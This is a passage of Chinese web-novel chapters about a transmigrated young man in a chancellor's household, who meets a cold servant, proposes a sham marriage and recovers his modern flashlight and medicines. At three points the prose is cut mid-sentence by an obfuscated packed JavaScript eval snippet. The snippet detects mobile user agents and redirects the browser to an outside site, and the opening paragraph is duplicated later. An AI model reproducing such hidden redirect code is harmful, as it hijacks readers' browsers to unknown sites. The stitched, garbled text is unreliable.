说着抬脚就走,叫段澜觉一脸懵逼,面露困惑。 但他反应很快,趁摸鱼哥起脚的空档操作轮椅呼哧向前,几下便挡在了他的必经之路上。 “诶诶诶别急着跑,”段澜觉仰头看他,似乎觉察出男人若即若离的态度,好声好气道,“至少得留个名字吧兄弟……你救了我,我总要回报的啊。” 他顿了顿,又给出另一个选项,“如果你习惯了做好事不留名,也可以告诉我你在哪里做事,以后我找机会,在夫人面前提一嘴,让她知道有你这么个人。 “你外形条件这么好,人又善良,又这么……勤奋肯干,相信她很快就能找到你的。” 段澜觉冲男人眨眨眼,龇牙一笑,“这样一来,你在梁府升职加薪,也能更顺风顺水一些嘛!” “升,职,加,薪?” 男人眉峰一挑,目光意味不明。 “嗯呢!” 段澜觉自信点头,心里却一直在打鼓:这人看我的眼神怎么越来越奇怪了? 诶慢着——“升职加薪”是古代用语吗,他会不会……看出什么了? 4. 观鹤亭(1) “谢恩宴?” 段澜觉仰高了头,对着小厮的下巴眨了眨眼,“是要请我吃饭?” “设宴自然是为了答谢您,也少不了宴请兰家老爷和夫人,届时阖家欢庆,少爷和少夫人凡在府里,都会出席的。” “哦……那请呗。”段澜觉不以为意。 小厮顿了顿,突然绕到他身侧,压低声音道,“小的听闻,兰家夫人最近缠咱们夫人缠得紧,怕是要在此宴上……将公子和四少爷的婚事,定下来呢。” “啥???” 段澜觉倏忽坐直了身体,眼睛瞪得如铜铃一般,“这么快?不是说——” “嘘!” 小厮左顾右盼,见四下无人连忙蹲下,做出祈求的姿态,“公子行行好,若让人知晓小的妄议此事,小的便活不成了。” “好好好,我小点儿声……” 段澜觉没想到事情发展得如此迅速,心里也有些焦躁,“可我的伤还没好啊,不是说等我伤彻底好了,再上我家去提亲吗?” 他都想好了,实在不行他就一直装瘸,拖得一天是一天,那梁家虽然欠了他的,总不见得要娶一个瘸腿的媳妇吧? 可他真低估了兰大勇和朱莲把他“嫁”出去的决心,也高估了栾夫人对这门婚事的嫌弃。 小厮缓缓摇了摇头,“小的只是个奴才,能打听的十分有限,本不该拿到兰公子面前搬唇弄舌的。 “只是小的见您连日来在房里闷闷不乐,愁眉不展,想是为了什么事苦恼,便想着,让您多知道些也是好的。” “是是是,你很机灵,你太给力了!” 段澜觉知道这种高门大户里全是人精,给鸡撒把米说不定都能去写申论,可真遇上耳聪目明还偏帮自己的仆奴,也算是老天开眼,撞了大运。 他沉吟片刻,抬眼便换上一张诚恳的笑脸,“这位小哥,你……怎么称呼?” 小厮微怔,倏地一乐,“兰公子不必这般客气,叫我四喜就好。” “四喜啊,好有福的名字!” 段澜觉笑得眯了眯眼,“我问你啊,在我昏迷这段日子里,你家四少爷有来看过我吗?” “有,”四喜点头,“公子是少爷的恩人,少爷一得空便会来看您,只是——” “只是什么?” “只是不知怎的,自兰家老爷夫人入府后,四少爷便鲜少露面了,只是时不时还会派人送东西到您院里……四少爷,心里还是惦记您的。” “呵呵。” 段澜觉心下了然——还能是为什么,当然是因为人家不愿意娶他啊! 他苦笑三声,低头叹气,一边在心里骂娘一边思考着破局的对策,忽听湖对岸传来一阵骚动,丹顶鹤引吭而歌,夫妻对唱数秒后竟齐齐向蓝天飞去。 段澜觉抬眼,只见隔湖的一道月牙门里,一队精壮家丁正挑着水鱼贯而出。 他们赤着上膊,个个被晒得黝黑锃亮,两个比冬瓜还大的木桶把肩上扁担压出一道弧线,却丝毫没影响他们绕着湖向前迈进的步伐。 段澜觉闲久了看什么都有意思,他短暂忘却了刚才的烦恼,微微探出身饶有兴致地看着,却不想亲眼目睹了末尾一人偷懒的全过程。 这人落在最后也就算了,竟敢不跟着大队伍绕圈走,而是踩着水上的装饰石板,走直线横穿湖面? 嘿,丞相家也有摸鱼的哈! 可摸鱼就摸鱼吧,段澜觉眼瞅着这人直奔自己而来,心跳忽然开始加速—— 妈的,社交障碍犯了。 也不能怪他,这几天见的生人太多,还一个比一个闹心,骤然看到一个雄性激素拉满的猛男靠过来,他能不怂吗? 段澜觉下意识摇动轮椅后退,却不料四喜早已起身,像根柱子一般正杵在他后头。 这一退,偌大的车轮正好从四喜的脚背上碾过,四喜哼了一声,段澜觉应声回头—— “我靠,对不起对不起,你没事吧!” 他即刻反滚向前,轮子却卡着四喜的裤腿,怎么也摇不动了。 “嘶——” 轮子似乎压在了四喜最脆弱的趾骨上,段澜觉瞧着他扭曲的表情,心知再不起来他的脚就该废了。 电光石火间,段澜觉来不及深思,握着轮椅向上一抬—— 轮椅后方离地,终于将四喜的脚释放了出来。 可下一秒他便不受控制地向前扑去。 ……完了,要狗啃屎了。 段澜觉闭上眼拧着眉,准备迎接和晒成铁板的地面进行一场亲密会晤之际,一双汗涔涔的,孔武有力的臂膀接住了他。 悬空的身体顿时有了支点,段澜觉惊魂未定,整个人挂在赤果果的肩膊上大口喘气,好一会儿才回过神来。 他稍稍支起身子,目光顺着男人发达的背脊肌向下滑,收拢于那道精壮有力的窄腰间。 好腰。 是段小续到健身房练一年都练不出的蚂蚁腰。 男人似乎觉察他在打量自己,稍微动了动,段澜觉立即触发道谢机制,“刚刚真吓死我了,谢谢你诶诶诶诶——” 一阵失重的感觉袭来,段澜觉五官倒置,身体腾空,一句话没说完半句话劈了岔。 怎么回事,他是被人整个扛起来了? 这是要干嘛? 还没等段澜觉开始挣扎,男人已经将他重新安置在轮椅上,他迅速向后一靠,离开那个热气腾腾的怀抱,也猝不及防与男人打了个照面。 最先映入眼帘的,是一双沉郁幽深的眸。 诶,是摸鱼哥? 近看之下,这人还……挺帅的? 段澜觉以自己多年扫货看货的本事迅速扫描了他的脸——剑眉利落,鼻梁高挺,一双狭长的丹凤眼中沉淀着冷淡的墨色,一看就是不好说话的刺头。 但好在他下唇中庭微厚,中和了面相的寡情,且这人刚刚救了自己,段澜觉抬眼看他,莫名便觉出三分面善与平易近人来。 但很可惜,这“平易近人”多半是段澜觉幻想出来的。 那人自始至终冷着脸,左右打量了段澜觉一下,确认他身上没有别的伤便挺直了背。 段澜觉只觉一座山在他眼前拔地而起——这人他喵的有多高啊?一米八五?一米九? 男人同他对视了一会儿才向后瞥了瞥,他一愣,耳畔传来四喜低低的叫唤声。 段澜觉猛一回头,惊觉四喜已经瘫坐在地,一边揉着脚一边紧锁眉关,神情痛楚。 “四喜!” 段澜觉惊呼着,摇着轮椅艰难转身,磕磕绊绊滑到四喜跟前,不顾三七二十一弯腰脱了四喜的鞋,将他的脚托到自己腿上。 “我靠,肿这么老高……”他扭了扭踝关节,“这样疼吗?” “还好。”四喜慌了一瞬,连忙缩腿,“公子您别——” “别动,也别吵!” 他又捏了捏其他地方,“这里呢?” “……不疼。” “你动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337423|183380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动脚趾,能动吗?” “……能。” “行,就中间疼是吧,”段澜觉轻轻放下他的脚,舒了口气,“应该是软组织挫伤,还好骨头没断,回去上点药养养就行。 “这段时间你就别干活了,那么小个院子还天天来一堆人打扫,没必要。” 四喜抬眼看他,泪花攒动,不知是感动还是感激,“是,多谢公子。”又急道,“公子脏了手,快去洗洗吧,我——” “嗨,大老爷们哪儿这么多讲究!” 段澜觉直起身,手在衣裳上擦了擦,不在意地笑了笑,忽然想起还没跟摸鱼哥道谢,遂一转头——那人已经挑上扁担 ,从湖心往这边不紧不慢地走来。 嘿,说他摸鱼吧,这还挺勤奋,刚救完人又挑上水了。 段澜觉憋着笑看他,倏忽笑容一窒——等会儿,这人是在短短一秒内安置好水桶,从湖心飞扑过来,然后正正好接住他吗? 卧槽这什么水平?世外高手还是梁府扫地僧? 男人小麦色的皮肤在日头的灼烤下愈发油亮,他稳步向前,如履平地,实则脚底石板才两寸见方,且晃晃悠悠,不知怎么固定在湖面上的,跟21世纪打了钢筋水泥的石墩子根本没法比。 水波偶尔漫过石板,石面被冲刷得又滑又湿,男人平视前方,肩膀几乎不曾晃动,桶里的水更是平静无澜。 还有一步便可上岸,他抬脚向前,却被一个清脆爽朗的声音乱了心神。 “兄弟——” 桶里的水漾开一圈涟漪,很快便平复下来。 男人撩起眼皮,轮椅上的人巧笑倩兮,冲他高举双臂,打了个热情的招呼。 段澜觉还是不习惯自己的声音变得这么脆灵灵的,他清了清嗓子,踩在男人上岸的节骨眼又喊了声“你来一下”,丝毫没察觉身旁的四喜陡然绷紧了身躯,从牙缝间挤出一声“四——” 男人上了岸,终于停下脚,段澜觉赶紧比着古人的礼仪,在轮椅上向他拱手一福。 “今天真是谢谢兄弟了,要没你在,我肯定得摔个狗啃屎,服侍我的小兄弟也至少落下个骨折。 “我叫段……兰草,”段澜觉差点咬着舌头,“呃,兄弟你怎么称呼?” 男人睨着他,两道干净的剑眉衬出一张刀削斧凿的脸,在段澜觉话音落下数秒才道,“不必客气。” 说完抬脚就走,叫段澜觉一脸懵逼,面露困惑。 但他反应很快,趁摸鱼哥起脚的空档操作轮椅呼哧向前,几下便挡在了他的必经之路上。 “诶诶诶别急着跑……” 段澜觉觉察出男人若即若离的态度,好声好气道,“至少得留个名字吧兄弟……你救了我,我总要回报的啊。” 他顿了顿,又给出另一个选项,“如果你习惯了做好事不留名,也可以告诉我你在哪里做事,以后我找机会,在夫人面前提一嘴,让她知道有你这么个人。 “你外形条件这么好,人又善良,又这么……勤奋肯干,相信她很快就能找到你的。” 段澜觉冲男人眨眨眼,龇牙一笑,“这样一来,你在梁府升职加薪,也能更顺风顺水一些嘛!” “升,职,加,薪?” 男人眉峰一挑,目光意味不明。 “嗯呢!” 段澜觉自信点头,心里却一直在打鼓:这人看我的眼神怎么越来越奇怪了? 诶慢着——“升职加薪”是古代用语吗,他会不会……看出什么了? 5. 观鹤亭(2) 男人又盯了他一会儿,不知在脑海中天人交战了几回,终于松了口,“我是四少爷院里的。” “……” 一颗滚动的碎石从他们身旁窜过,飞向青石板路旁的泥巴堆里,“扑通”一声不动了。 段澜觉和男人同时扭过头,只见四喜垂着眼,脸色白得几乎不像人,斗大的汗粒从额角滴落。 “抱歉,”他颤声道,“小的方才动了动脚,无意踢到……” “这点儿事道什么歉,”段澜觉失笑,又回头仔仔细细地打量了男人一番,“你……真是四少爷院里的?” 不等男人回答,他又问,“所以你一早就知道我是谁,对吗?” “……嗯。” 男人自始自终没放下扁担,脊背微躬,面上却不见卑微之色,一双如沧澜般深邃的眸子漠然地俯视着段澜觉。 段澜觉被他盯得莫名其妙,心中暗道——他到底哪里得罪了这个人? 照常理来讲,这人既然是梁四的人,也知道他救了梁四,该对他感恩戴德,结草衔环才是,怎么他不是盯着打量自己就是冷漠应付了事? 好歹他也是客人吧……段澜觉腹诽:这人身为旧社会的“下人”,连对他行礼都不屑执行吗? 段澜觉越想越不对劲,余光却瞥见四喜正在起身,只好摇着轮椅先去帮忙。 “你等等我,你先别走。” 四喜扶着段澜觉踉踉跄跄站定,脚背却肿得跟猪蹄一般,段澜觉面露忧色,询问:“你还能走路吗?” “能,公子别担心小的。” 四喜强自露出一抹笑,段澜觉也不忍拆穿,便点点头,“那行,回去你好好休息休息”,又借着这个机会凑过头压着嗓子,“哎,四喜,我问你个事。” “公子请讲。” “这个家丁说他是四少爷院里的人,是真的吗?” “……” 不知为何,四喜犹疑了一瞬。 他越过段澜觉头顶瞥了眼男人的方向,又迅速聚拢目光,与段澜觉对视。 “是,这位兄弟……是四少爷院里的人。”他答。 “那你认识他吗?他叫什么名字?他跟我……有什么过节吗?” 四喜微微讶异于段澜觉的敏锐,沉吟片刻道,“小的不才,在府中多年也未得重用,平日里只能在中院洒扫,许多兄弟只知其人不识其名,故而……” “嘶,你跟他不熟我能理解,可是你连他的名字都不知道?” 段澜觉端出一副“信你有鬼”的表情,“四喜,你不会有什么事瞒着我吧……” “……” 四喜在心中叹了口长长的气,无奈一笑,“小的哪敢骗公子。” 一道淡漠的视线自段澜觉身后袭来,与四喜目光短暂相接。 四喜垂下眼睫,声音细听之下带了些颤抖,“只是这位小哥的身份有些特殊,小的极少在府里见到他,故而没记住罢了。” “他平时不住在府里?” 段澜觉就知道自己能从四喜这挖到些八卦,继续追问,“那你对他了解多少,像他这样不住在府里的奴仆很多吗,四少爷很重视他吗?” “……很重视。” 四喜眼睛闭了闭,“他……是四少爷唯一的心腹。” 心腹? 段澜觉皱了皱眉,大脑突然不受控制地飘过一排弹幕——“梁家的儿子就喜欢带把的!” 心腹,带把的,心腹,带把的。 男人是四少爷唯一的心腹,而四少爷,就喜欢带把的。 电光火石间,段澜觉心尖一缩,豁然开朗! 一切都串起来了!怪不得男人对他态度冷淡又充满探究欲,怪不得他连行礼都懒得行,名字也不愿意讲…… 原来竟是把他,当作了潜在的情敌吗? 段澜觉登时有些无语,又有点想笑。 天杀的包办婚姻,亏他还觉着男人皮相好心肠热,想多交个朋友多条道呢,这下好了,别说是朋友了,点头之交都做不成了…… 可他上哪儿说理去?他也很无辜好吧! 段澜觉眼神变幻来去,直到四喜唤了好几声才聚焦至一处。 “你——” 段澜觉一出声就变了调,连忙轻咳几声调整。 他看着四喜忧心忡忡的表情,迟钝的大脑强行被唤醒,继而高速运转起来。 “你先回去吧,四喜。” 四喜一怔,把头摇得跟拨浪鼓似的,“公子,我没事,我陪您一起回院。” “不用。” 段澜觉回头看了眼男人,男人站得笔直,那一扁担水不知何时被放下了,垂眸乖顺的模样仿佛活成了一株人畜无害的参天黑桦。 可段澜觉心知肚明,他方才盯着自己的目光绝非友善,细细琢磨之下甚至能窥见——那副养眼的皮囊之下,藏着密密匝匝的坚硬尖刺。 这株黑桦,是刺楸伪装的。 段澜觉咽了咽口水,抬手搓了搓手臂上的鸡皮疙瘩,扭头同四喜道,“就这样吧,你先回去,我有事要跟这位兄弟单独聊。” 四喜还想说些什么,张了张嘴。 余光里那道目光突然射将过来,叫他猛地一怔,诺诺闭了口。 “是,那小的……先行告退。” 四喜的步子有些踉跄,所幸还能走。 看着那道渐行渐远的身影,段澜觉收回目光,摇动轮椅重新回到男人跟前。 男人垂下眸与他目光相接,平静得仿佛段澜觉的猜想全是扯淡。 但段澜觉可没那么天真,他脑子里弹出无数个方案:东拉西扯的、绕着圈子的、阴阳怪气的、杀鸡儆猴的……都被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337424|183380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他一一否决。 不行,他是要试探,不是去请战。 “兄弟,你是不是……不太喜欢我?” 段澜觉往前探了探身子,决定还是不拐弯抹角了,诚恳点吧。 但男人似乎被这一记直球打得猝不及防,脸上怔愣一瞬后浮起淡淡的不解,明晃晃写着四个大字:何出此言? 段澜觉耸耸眉心,料定他不会承认——一个和少爷鬼混的男宠,怎么会在正妻没过门之前得罪他? 于是他眼珠一转,双手交握于身前,“这样,我换个问法吧,兄弟既然是四少爷的心腹,对他的想法应该挺了解的。 “你家四少爷,是不是挺不想和我结婚的?” 男人就那么盯着他不说话,黢黑的眸子静得像一汪墨色的湖,半晌才回,“你想吗?” “当——然不想。” 段澜觉往后一靠,终于找着机会亮明自己的态度。 他勾起一抹浅笑,娓娓开始洗脑,“我和他不过是萍水相逢,我救他是我人好,不是为了要攀附他嫁给他,他娶我也不应该是为了报恩呐!” 男人似乎对这句话持赞同态度,眉间稍稍松动,却依然不接茬。 “但你也知道,现在这个事吧……有点棘手,好像由不得我们做主了。” 段澜觉见他不接话,只得继续往下唱独角戏,“婚姻大事当听父母之命,媒妁之言,我同他两个晚辈,也不好随意置喙长辈们的安排啊……” 旋即话锋猛地一转:“可一段没有感情的婚姻怎么会幸福呢?大兄弟,你说对吧!” 段澜觉想传递什么信号时会无意识睁大眼睛,叫人被他眼中情绪俘获。 男人对上这道状似真诚的目光,良晌忽然开口,“为什么要同我说这些?” 废话,当然是想给你吃颗定心丸啊! 段澜觉其实没有必要讨好他,但他有自己的盘算。 一来,订婚的事恐怕真推不掉,以后俩人抬头不见低头见,总这么僵着也不是个事儿。 二来—— 这男人虽然一副很欠揍的模样,但心肠确实不坏。 男人大概率在对岸瞥见他的第一眼就知道他是谁了……这种情况下还能飞身过来扑救情敌的人不多,这人确实是条汉子。 段澜觉眯了眯眼,在心里挑挑拣拣,拣了个能叫他信服又对自己有帮助的借口。 “我相信四少爷为人通情达理,一定也和我有相似的想法,”他笑了笑,“可他贵人事忙,我醒来至今仍没能见上他一面,所以想请兄弟你……替我传一个口信。” 男人挑了挑眉。 段澜觉身子微微前倾,一双标致的桃花眼自下朝上睨着,“四少爷有没有兴趣——和我形婚?” “形婚?” 男人脸上头一回现出迷茫的神色。 6. 叮!一份来自21世纪的快递 “对,形婚,形式婚姻,表面夫妻,各过各的,互不干扰。” 段澜觉眨眨眼,用蛊惑的口吻抛出自己的“诱饵”。 “我和他结婚后,他想纳妾纳妾,想花天酒地就花天酒地,我一概不管;而我会安分守己,保证不给他戴绿帽,只需要他在外人面前给我点面子就行。” 段澜觉早就想好了,裤|裆子里那点事他从来没什么想法,实在忍不住打个|飞|机就行。 他也瞧不上什么夫为妻纲的陈旧思想,但人在屋檐下不得不低头,小命要紧,他还是别贸然违逆三纲五常了。 可那男人脸上不见喜悦,反而露出一个十分微妙的神色。 “梁家子不允狎妓,更没有纳妾的先例。”他似乎没抓住那段话的重点,一板一眼纠正。 段澜觉挑了挑眉,顺着他的话茬往下问,“那,如果正妻并不是他喜欢的人,怎么办呢?” 男人这次回答得很快,“喜欢的人却召之为妾,岂不更加辜负?” “……”段澜觉汗颜。 “既已婚配,便当放良人自由,彼此成全,”男人顿了顿,续道,“更何况,我……们家四少爷现下并无心仪之人,将来也未必会有。” “哦……嗯???” 段澜觉脑子没转过来,狐疑的目光在男人脸上逡巡,想找出他巧言令色的蛛丝马迹。 但男人弄清他心思后便没了耐心,挑起扁担一声不吭地离去,脚下生风越走越快。 段澜觉看着他离去的背影,愣了好一会儿才想起正事,急忙冲那方大吼,“喂!这是重点吗?你还没答应替我传话呢!!!” 一阵风穿林而过,男人的影子没入葱郁之间,再无声息。 · 段澜觉回到院子,又埋头琢磨了好几天,越琢磨越不得劲。 照理说他都把话摊开来说了,摸鱼哥没必要对他还怀有敌意,更没必要骗他。 所以那人真的不是梁老四的男宠,却莫名其妙对他充满疏离和淡漠……是还有别的什么过节他没注意到吗? 段澜觉自小跟着养父闯荡,天南海北阅人无数,见过的世面没有一千也有八百,只道这世上没有无来由的恨,不是为情,就是为财。 于是他大胆揣测:如果男人真没把他当情敌,难道是发挥了一把主人翁精神,鄙视兰家攀附梁家的破落户行径? 嘿,这就让人有点不爽了哈…… 段澜觉虽对兰家夫妇挟恩图报的行为感到不齿,可他和梁四才是这场闹剧的主角,要闹脾气也该梁四去闹。 那男人又算什么东西,凭什么狗眼看人低? 段澜觉心里见天地琢磨着事,面上也没闲着。 这几天天气渐热,他的精神和身体也逐渐恢复过来,栾夫人几乎日日来看他,鲍参翅肚不要命地往房里送,瞧他的眼神也是真的怜爱,倒比那对便宜父母更让人感受到母爱的真切和温暖。 他还见到了栾夫人的外甥——一个年仅14岁却长得和他一般高,笑起来还有两颗小虎牙的干净帅气大男孩,栾世安。 栾世安是个活泼爱闹的少年,每回跟栾夫人到他房里,总是忍不住同他插科打诨,段澜觉觉得这弟弟有意思,见着他也爱逗上一两句。 一来二去俩人熟络了,栾世安没事便自己来寻他玩,只是来的次数也不多。 梁家家教森严,孩子开蒙了就得日日去书塾念书,栾世安年纪最小,却要和17岁的梁蕴行同拜一师,每日学那些佶屈聱牙的科举必考书目。 段澜觉不敢问栾世安为什么寄住在梁家,他直觉这里面肯定没好事,他和栾世安也没熟到可以敞开心扉的程度。 只是有一日,他实在忍不住向栾世安打听——“连你都来了四五趟了,梁家其他人呢?怎么连个人影都没见着?” 他听说梁家有四个儿子,上头三个都已经成家立业,只剩梁四一人还在读书。 按理说这么长时间过去,他就是出院溜达也该见上一两个,可他愣是谁也没见着。 栾世安仿佛知道他怎么想,弯起眼安抚道,“兰兄别怪表兄表嫂们,他们有要事在身,正巧都不在府里呢!若在府里,定在你醒来那日便登门看望,绝不会如此无礼的。” “哦,没事,我也不是怪他们,我就是好奇。” 段澜觉笑笑,把这件事揭了过去,心里却嘀咕——其他人不在,梁老四难道也不在吗? 看来摸鱼哥还是没解开心结,那日湖边谈话,他愣是一个字都没给梁老四透露啊,呵呵…… 可黑不提白不提,梁四又不来找他,他怎么跟他说自己的计划呢? 段澜觉抓耳挠腮又无计可施,只得在房中浑噩度日,就这么熬着熬着,他的腿伤终于彻底好了。 而传说中的谢恩宴也如期而至。 段澜觉抱着慷慨赴死的心情接下一张烫金的帖子,又从四喜口中得知——梁大少爷夫妇因无法出席谢恩宴,竟专程托人送来口信,向他表达了歉意。 段澜觉瞠目结舌,直说这两夫妻也太客气了,四喜却不以为然,一边将新做的衣裳分门别类放好,一边笑着同他解释,“公子是府上的贵客,梁家家规森严,如此怠慢客人,若叫汴都城的高门显贵知道,是要被嚼舌根子的。” 说着,他微微侧头看向段澜觉,“也亏得公子心大,从未同夫人埋怨过这些。我听闻前几日,兰家老爷和夫人四处打听少爷们的去处,还说——” “说啥?” 段澜觉脑子一嗡——这对便宜爹妈能不能让他省点儿心? “说,人若是太少,这谢恩宴便不像话,倒不如不办了。” “……” 段澜觉翻了个白眼。 在兰家夫妇眼里,这谢恩宴就相当于他和梁四的订婚宴,人一多,见证的人就多,板上钉钉的事就更不容易反悔。 他无奈地叹了口气,手枕着后脑勺往床边一靠,“甭管他们,要办就办吧!”早死早超生。 “公子也不必如此烦心。” 四喜笑着宽慰他,“谢恩宴是咱家夫人和四少爷筹备许久了的,夫人虽温柔贤良,却也是栾帅嫡女,官家亲封的诰命夫人,也不是谁说两句便听之任之的软柿子。” “呵呵,那就行。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337425|183380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 段澜觉扯了扯嘴角,百无聊赖地转着眼珠子,忽然瞧见衣橱边上放着一个布兜和一只精致的木盒。 “诶,那是什么,我之前怎么没见过?” “哦,这是公子的行囊和随身物件。” 四喜关上衣橱门,将木盒和布包盛在托盘上送过来,“公子救下四少爷后便昏迷了,夫人只能先替公子保管着,今日才想起,遂物归原主。” 他把托盘往段澜觉眼前一递,“公子瞧瞧,有没有什么东西遗漏?” 段澜觉接过来翻了翻,那布兜里倒没什么值钱东西,只有一把小锄头和一捆质量很差的麻绳,还有几株死得不能再死的植物,再放久一点就可以原地沤肥了。 他放下布兜,又打开了那个木盒,翻开盖子的一瞬,他的心猛地往上蹿了一下! 木盒里赫然放着一个不属于这个时代的东西——一把通体黢黑的大手电筒! 段澜觉死死地盯着它,仿佛周遭一切冰消瓦解,不复存在。 他仿佛回到了那个摩肩接踵的翡翠市场,坐在小马扎上看养父段越讲价谈判,和发小苗兰段小续笑得四仰八叉,随手便能抓来一把边角料抛着玩。 “这木盒里的东西——” 段澜觉一开口,嗓子却是哑的,把正在收拾茶几的四喜吓了一大跳。 “公子,怎么了?” 四喜匆匆放下手里茶具赶过来,却见段澜觉一把阖上盖子,看向四喜的目光带着些躲闪。 “这木盒里的东西,有人检查过吗?” 思前想后,段澜觉决定先确定自己身份暴露与否,“这么大个盒子,我总不能当时就揣在身上吧……” 四喜摇摇头,露出歉意的笑,“小的是近日才被派来公子这伺候的,前头的事一概不知……但依常理而言,贵客的物件,无论是主子们还是咱们做仆奴的,都不会轻易上手翻弄的。” 说罢他眉头一紧,急问,“是有什么物件弄坏了吗?” “没……没有。” 段澜觉紧绷的神经微微松弛下来,“你先出去吧,活改天再干,我累了,想休息一下。” “……是。” 段澜觉擎等着四喜关上房门才爬起来,颤着手指再度打开木盒。 该说不说,他确实有点近乡情怯了。 他瞪大双眼取出手电,先是从头到脚检查了一遍,还好,尾部凹进去了一点,大概率是那场车祸撞的,然后他小心翼翼地拨动了手电筒的开关—— 没亮。 意料之内。 如果他是在兰草昏迷那一瞬穿到这个世界的,那么这手电筒已经在柜子里待了好几个月,电早该耗没了。 古代还没发明“电”这个玩意儿,照常理说这电筒就算个板砖了,然则段澜觉眉目一凝,旋手松开筒身的一个卡口,一个扇形的玩意儿缓缓从电筒里弹了出来。 段澜觉握住筒身和扇形卡口,像捏握力器一般疯狂捏了那扇形上百下,再度尝试拨动开关—— 啪! 一束白光从筒口Ⅰ射出,在那雕文刻镂的红木穹顶上映出一个直径不到三厘米的光斑。 7. 谢恩宴(1) 成了! 段澜觉一颗心落回肚子里,取而代之的是一阵没来由的雀跃。 他很难形容自己的心情……在这个处处陌生的世界,突然有一个来自21世纪的物件出现在眼前,还是他从不离身的物件。 这对他而言不仅是多了一件趁手工具这么简单,更多的是一份……归属感。 他揉了揉眼角,眼皮又酸又胀,仿佛一碰就能挤出水来,他在心里唾弃自己没出息,又咧着嘴很轻地笑了,笑意掺杂着无言的心酸。 这个手电筒,是他八岁那年段越给他买的,还是手动电动充电二合一的款式。 段越至死都没结婚,一个人把他拉扯长大,说糙也糙,说细腻,却比许多亲生父母还要细腻。 他送段澜觉这个手电,一则为了傍身,紧急时刻可以发出求救信号,二则,段澜觉很小便展现出对翡翠玉石的天赋和热情,而手电筒是每位玉石从业者必不可少的道具。 这个手电筒,是段越沉沉父爱的具象化。 段澜觉抹了把脸,将手电筒珍而重之地摆在枕边,一边盘算着怎么把这大玩意儿系在裤腰带上,一边把目光重新投向木盒。 木盒被掏去大块头后便空了大半,乍一眼没什么东西了,盒底只剩一个软趴趴的布袋子,像是空的。 但段澜觉隐隐觉得不对,他拎起布袋,一个圆形的扁盒从袋口滚出来,滴溜溜滚到床沿,背后还粘着一小袋白色粉末,散发着好闻的中草药的气息。 这是…… “卧,槽!” 段澜觉忍不住用气声骂了句脏话——他随身携带的基础药药盒和云南白药,居然跟他一起穿过来了! 这些可是救命的好东西啊! 段澜觉心情顿时由阴转晴再转晒,恨不得光脚冲到院子里,在月光下高歌一曲! 命运就算颠沛流离/命运就算曲折离奇/命运就算——当啷! 系在腰间的大布兜第五次掉在地上,四喜熟练地弯下身拾起,拍了拍上面的土,递给段澜觉。 “公子,这布兜太沉了,要么还是小的帮您拿着?” “不用不用,我自己揣着就行。” 段澜觉尴尬一笑,余光觑着四喜的表情,确认他毫不经心才放下心来。 他知道四喜肯定察觉到自己的异常了,但他不多嘴,不窥探,忠诚本分,恪守职责,这样的奴仆从前怎么会是个扫大院的呢? 啧啧,梁家知人善用的能力还有待提升啊…… 段澜觉将布兜的抽绳系在手腕上,眯了眯眼环视开阔的院子,“咱们还有多久能到?” “快了,眼前那爿院子便是。” 四喜搀着段澜觉跨过一道月影门,映入眼帘的便是一方牌匾,上书三个隶体大字——宴清堂。 “宴清堂是相府宴请贵宾,或设寿宴、婚宴时才会用到的正厅,最多能容下百余人同时落座。” 四喜见段澜觉似有兴趣,边走边同他说吉利话,“相府平日设宴不多,招待亲朋多在花厅或偏厅,此番谢恩宴,夫人亲自操办,又设在宴清堂正厅,可见兰公子多得主家重视。” “呵呵。” 段澜觉对这些虚荣毫不在意,干巴一笑,顾左右而言他,“大少爷信上说长房一家和大相公都在行宫伴驾,我看二房、三房的少爷夫人也不在府里,那今晚赴宴的还有谁,四少爷会来吗?” “哟,兰公子这就惦记上四弟啦!早知如此,我二人便不赶回来凑热闹了。” 四喜刚想回答,一个清亮的嗓音从后方传来,一主一仆同时回了头。 一名身着嫩黄色广袖长袍的男子推着一把轮椅,在亭台水榭的掩映中缓缓步出。 黄袍男子嘴角带着俏皮的笑,看见段澜觉的那一刻眼睛亮了亮,低头冲轮椅上的人说,“识哥,快看,那就是咱们的准弟媳了!” “……慕云,莫要唐突了兰公子。” 段澜觉这才发现轮椅上还坐着个男人,一身月白的袍子书卷气十足,面如冠玉,儒雅端方。 二人走到段澜觉身前站定,轮椅上的男子率先冲他欠了欠身,“兰公子见笑,拙荆性子恣意洒脱,方才之言是玩笑话,望兰公子千万不要放在心上。” 那黄衣男子虽然说话直白,但自知理亏,也跟着福了福身。 “公子舍身相救我家四弟,是四弟的大恩人,便也是我夫妻二人的恩公。” 